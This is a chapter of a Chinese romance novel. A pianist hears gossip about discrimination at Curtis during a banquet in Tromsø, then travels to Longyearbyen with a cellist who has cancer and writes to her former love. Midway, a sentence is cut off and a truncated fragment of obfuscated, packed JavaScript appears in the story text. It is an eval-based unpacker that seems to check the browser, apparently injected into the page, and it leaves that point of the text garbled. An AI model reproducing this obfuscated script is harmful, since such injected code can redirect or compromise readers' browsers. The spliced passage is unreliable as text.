宴会设在当地一座木制建筑里,壁炉烧得很旺,空气里是木柴燃烧的噼啪声、热红酒的香料味,以及多种语言交织的低声谈笑。 光线昏暗温暖,人们穿着礼服裙或西装,刻意营造出一种远离尘嚣的艺术氛围。 周序果然也在,站在离壁炉不远的地方,正和一位作曲家交谈。他身边站着他的母亲,于是尽管看到了梁初灵,周序也只能对她举了举杯,没有过来。 梁初灵乐得清静,拿了一杯苏打水,靠在远离人群的窗边。 窗外是蓝黑色,偶尔有车灯划过,像流星坠入深海。 宴会流程开始,主办方致辞,然后让在场的艺术家们逐一简单自我介绍。 一时间,各种头衔在温暖的空气里碰撞,每个人都在有限的几句话里,尽可能地塞进最闪亮的资历。 这里竟然挤满了旷世奇才! 梁初灵听着,觉得好没意思。 名头像华美的包装纸,裹住了底下平凡的血肉。 她想到李寻,如果他在这里就好了,他不会在意这些头衔,一定会带她去看壁炉火焰里木柴燃烧的变化,或者指给她看窗玻璃上的气泡和畸变,或者在她耳边低声说:那个正在弹钢琴的人,贴键手法怎么完全用不上劲? 是了,宴会背景音是现场钢琴演奏,弹琴的是个年轻男孩,指法生疏,触键软粘,水平最多只能算个钢琴爱好者。 但这正是主办方的聪明之处:如果请真正的大师或知名钢琴家来,场面就会变成攀附或较量。让一个“会弹一点”的爱好者来,最安全,也最能衬托出在场“真正艺术家”们居高临下的宽容。 梁初灵已经是第十次听到那个完全错误的经过句,她移开目光。 觥筹交错间,话题不可避免地滑向圈内八卦。 哪个指挥和乐团经理闹翻了,哪个青年演奏家靠婚姻拿到了顶级经纪约,哪个音乐节因为赞助商问题可能停办…… 语言从英语切换到德语、法语、意大利语,又切换回来,内容并无不同。 高雅的是作品,是人演奏出的音符,但人本身,无论来自哪个国家,哪种肤色,坐在多么古老的厅堂里,谈论起这些时,眉眼间跳动的依旧是世俗的窥探。国籍、人种、肤色带来的偏见,在这里更是毫不掩饰。 有人凑到梁初灵身边,是一位乐评人,试图与她攀谈,话语里带着刻意的恭维,并推荐几位他“发现”的年轻作曲家作品给她,暗示可以合作。 梁初灵兴趣缺缺,敷衍几句。 周围几人见乐评人在和梁初灵攀谈,也纷纷围过来,你一言我一语地分享着圈内八卦,献上乐子供她欣赏。 有人说某国际大赛的评委暗藏私心,对某个乐手的失误视而不见,又对某一个乐手的细节吹毛求疵;有人说柯蒂斯内部存隐形的种族壁垒严重,华裔学生想拿到奖学金比登天还难;还有人吐槽某些指挥家,骨子里就瞧不上华裔钢琴家,合作时处处刁难。 梁初灵静静听着,没怎么插话,直到有人无意间提起:“说起来,李炽最近和柯蒂斯的关系,可比前几年缓和多了,还受邀回去开了大师课。” “毕竟她的乐团站稳脚跟了,柯蒂斯那边也不能一直端着。” 梁初灵不解地问:“李炽老师也于柯蒂斯毕业、也曾在柯蒂斯任教,她和柯蒂斯有矛盾吗?” 音乐学者扶了扶眼镜:“梁小姐可能不太清楚早些年的情况。李炽拒绝柯蒂斯的教学邀请,却转而开始筹备全华裔的法派乐团。这被视为一种对传统欧洲中心体系的挑战,甚至是一种背叛。” 另一位经纪接口:“柯蒂斯、茱莉亚这些地方,本质上还是欧美古典音乐的大本营。他们可以欣赏东方天才,像你,梁小姐,像以前的李炽女士自己,作为杰出的个体被吸纳、被展示。但当一个华人音乐家站出来,说要打造一个以华人为主体的乐团,要发出不同于传统欧洲乐团的声音,这就不行了。” 梁初灵安静地听,壁炉的火光在她脸上跳动,显得她人也活泼。 学者补充:“不是公开的歧视,那太低级了,而是将她边缘化。评论上的冷淡,资源上的倾斜,人脉网络里的壁垒。李炽女士最初那几年非常艰难。柯蒂斯系的人脉和资源,很大程度上对她关上了门。他们或许乐见一个华人钢琴家的成功,但一个华人试图另立话语权的乐团?那是另一回事。” 梁初灵忽然问:“那是哪一年?” 其实她知道李炽创立乐团是哪一年,但想确认一遍,果然,就是梁初灵和李寻申请柯蒂斯的那一年。 她继续问:“那一年柯蒂斯作曲系的招生情况,各位有印象吗?” 一位经纪想了想:“那几年柯蒂斯作曲系招生人数好像波动挺大。印象中那一年是不是录得特别少?” 学者记忆力更好些:“对。那一年柯蒂斯作曲系本科只发了两个录取。极其少。往年至少有五到七个名额。当时还有议论,是不是系里内部有什么调整。” 两个录取。 李寻那年落榜,以他的才华和准备,落榜本就有些意外。如果那年名额被刻意压缩…… 李炽公开挑战欧美主导的乐团体系,激怒柯蒂斯及相关保守势力。作为对她‘背叛’的回应,或者仅是轻视和排挤,柯蒂斯在招生上,对她儿子的申请施加压力,或是‘不予考虑’。 名额缩减,或许就是某种姿态。 李寻从未提过,李炽也从未提过。 古典二字,高无上限,低同样无下限,在很多时候古典就是代表着封建。 封建的来处是权力。 权力压顶,母子都选择独自吞下不公的代价。 梁初灵感到愤怒,但她脸上没什么表情,只点了点头,说了句“原来如此”,便礼貌地结束了对话,转身走向阳台。 室外寒气扑面,极夜的天空深蓝,远处城市灯火晕开一片暖黄的光雾。 她想给跟李寻说点什么,最终只拍了一张窗外深蓝色夜空下积雪屋顶的照片发过去。 过了一会儿,李寻回复了一张图片,是纪录片剪辑软件的界面,时间线上密密麻麻的轨道。说:“真漂亮,我还在在赶工。你那边冷,记得多穿衣服。” -- 接下来的排练很顺利,特罗姆瑟的这座音乐厅设计现代,声学效果极佳。梁初灵的独奏音乐会曲目早已烂熟于心,她更多是在适应场地,调整钢琴音色。 与当地乐团的合作演出排练也渐入佳境,乐团规模不大,但乐手专业热情。其中一位中年大提琴手,名叫艾琳,艾琳技术扎实,音乐感觉敏锐,排演间隙总是笑眯眯的,会提醒梁初灵舞台某个区域灯光可能刺眼。 一次休息时,艾琳拿着梁初灵的唱片过来,请她签名。 梁初灵欣然答应,艾琳却翻开封套内页,指着空白处,用不太流利的英语说:“请写给艾琳,祝她抗癌成功。” 梁初灵笔尖一顿,抬头看向艾琳。 艾琳依旧笑着,金灰色的短发梳理得很整齐,脸色有些白,但眼睛很亮。她指了指自己胸口,做了个简单的动作。 梁初灵郑重地写下祝福语,签上名,将唱片递还。 艾琳接过去,珍惜地抱在怀里,用挪威语说了句谢谢,然后又切换回英语:“你的演奏,经常让我忘记了疼痛。” 梁初灵不知该说什么,只能轻轻握住她的手。艾琳的手有些凉,但回握得很用力。 合作演出前一晚,最后一次联排结束。艾琳叫住准备离开的梁初灵。 “Ling,明天演出结束后,我和我妹妹玛塔,打算去朗伊尔城,你想一起去吗?” “朗伊尔城?” 艾琳的眼睛在昏暗的后台灯光下显得很皎洁:“嗯,斯瓦尔巴群岛的首府,在北极圈里面。从特罗姆瑟飞过去一个多小时。那是个没有死亡的城市。” 梁初灵忍不住去看那两汪皎洁,心脏也被轻轻撞了一下。 北极,她和李寻那个未曾实现的约定。 艾琳看梁初灵有兴趣,笑着继续:“那里不允许出生和死亡,生命在那里,只能以进行时存在。我想去看看这样的地方。我害怕现在不去,之后就没办法去了。或许我现在的身体,会是往后岁月里最好的状态。” “我想去。”梁初灵听见自己说。 艾琳很高兴:“太好了!玛塔一定会喜欢你的!就这么说定了,后天早上我们出发。” 梁初灵的独奏音乐会反响热烈,极夜中的音乐厅像一座温暖的岛,琴声是岛上流动的光。 合作演出同样成功,谢幕时,艾琳在乐团中对她竖起大拇指。 演出结束后的庆功宴,梁初灵露了个面就提前离开,要回到酒店收拾背包。 周序的演出就在明天,但她不打算去了。 梁初灵给李寻发了条消息:“我明天要和乐团的朋友去朗伊尔城。” 李寻很快回复:“注意安全,玩得开心。” 第二天一早,艾琳和她的妹妹玛塔来酒店接她。 玛塔比艾琳年轻些,性格活泼,是个画家。她们打车前往机场,搭乘一架小型螺旋桨飞机。 飞机向北飞行,舷窗外是无尽的被冰雪覆盖的海洋和岛屿。 天色是恒久的深蓝灰。 一个多小时后,飞机降落朗伊尔城机场,这里比特罗姆瑟更冷,风像刀子一样。放眼望去,是覆盖着厚雪的山峦,和山坡上五彩斑斓的木屋。 “看那个标志。”玛塔指着机场外的一个警告牌,上面画着一只北极熊,写着提醒居民和游客注意防范的标语。 这里已是北极熊的领地。 入住的旅馆墙壁上,挂着泛黄的北极探险地图和旧雪橇,一楼也有壁炉,壁炉旁堆着几摞留言本。 封面磨损,边角卷起,被无数双手摩挲得温润。 前面还有两位亚洲面孔在办入住,梁初灵她们便翻看起留言本,各种语言的笔迹拥挤在一起,填满每一寸空白。 笔画曲折,承载着未知的心事与心情,喜悦、孤独、惊叹、思念、对自然的敬畏、对生命的叩问……通通被压缩在纸页间。 艾琳也拿起一本,翻到空白页写下心愿。玛塔凑过去写下梦想。 梁初灵没有动笔的欲望,她觉得自己此刻的情绪过于混乱,无法被安放,只能没有目的地翻看别人的痕迹—— 直到看到了她自己的名字,用熟悉的汉字、熟悉的笔迹书写着:【梁初灵,希望你一切都好。】 “梁初灵”三个字被晕开。 正在办入住的人手机铃响起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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五年前,它结束在一个未曾真正开始的未完成时里,像一个夭折的句子。 重逢后,身体的靠近、情感的涌动,却又被拖入悬置的状态,一种无法面对开始或结束的僵持。 她们拥有过去的伤痕,拥有此刻的吸引,唯独缺少一个指向未来的进行时态。 艾琳想来这里看看,是想在生命可能被迫进入完成时之前,亲身感受一种绝对的进行时,汲取力量。 而她呢? 她站在这片不允许结束的土地上,看到了李寻的眼泪和祝福。 玛塔晃了晃梁初灵的胳膊,问她是不开心吗?梁初灵摇头,却不知道该说什么,只好指着峡谷对面,让她们看:“看,那是太阳。” 她们抬头,此时已是下午,在极夜季节,太阳只是在地平线附近做低角度的滑行。一线金黄的光,刺破厚重的云层,斜打在对面悬崖的积雪上,将那一片冰壁染成燃烧般的金红色,与周围深蓝的阴影形成对比。 光与暗,冰与火,永恒与瞬间。 玛塔很激动,大喊:“即使是最黑暗的季节,光也会找到它的路!” 寒风呼啸着掠过旷野,扬起雪粉,打在脸上像细小的针。梁初灵却感觉心中淤积的什么东西,正在这绝对的寒冷与这微弱的光线下,生长出来。 傍晚,她们乘坐雪地摩托前往远离城镇的峡湾,天地间只剩下风声、引擎声和无边的白。 世界被简化:黑的是山岩和海水,白的是雪和冰,蓝灰的是天空。 向导在一个背风处停下,关掉引擎。巨大的寂静,巨大得让人心悸。 “看那边。”向导指着峡湾对岸的山脊。 起初什么都没有。然后游移的绿光像纱幔一样,从深蓝色的天幕后面慢慢浮现。接着是更多,淡绿,浅紫,丝丝缕缕,轻盈地舞动,变幻着形状。 那是北极光。 梁初灵仰望着,光带在她瞳孔里流转。 光带渐渐消散,天空重回深蓝,寂静再次统治一切。 梁初灵早就拿出手机,但电量在低温下迅速耗尽自动关机了。 也好,她心想,有些东西不需要记录,只需要经历和记住。 回程的路上,她的手机在温暖的车里重新开机,震动起来。是周序。 “梁初灵,你在哪儿?我演出结束了,你没来。” “我在外面。” “什么外面?特罗姆瑟今晚有极光预报,我……” “我和朋友们一起在朗伊尔城。” 周序几乎咬牙切齿:“什么朋友?你是不是和李寻……” “周序,这与你无关,你也好好享受你的挪威之旅吧。祝你玩得开心。” 车子驶回色彩明快的小镇,像从荒芜的梦境回到人间,旅馆的窗户透出温暖的黄光。 梁初灵再次翻开留言本,犹豫着怎样落笔。 李寻,你看到了吗? 我在我们约定的地方了。这里不允许死亡,生命必须以生的姿态存在。我想,我们的关系也是。不能停留在未完成和悬置里,必须找到一种进行时的姿态。 我要明白你为何需要清晰,明白那含糊的以前带给你的伤害,明白我不能再只用依赖和索求去靠近你。 我要清楚自己能给你什么,而不是问你我们是什么。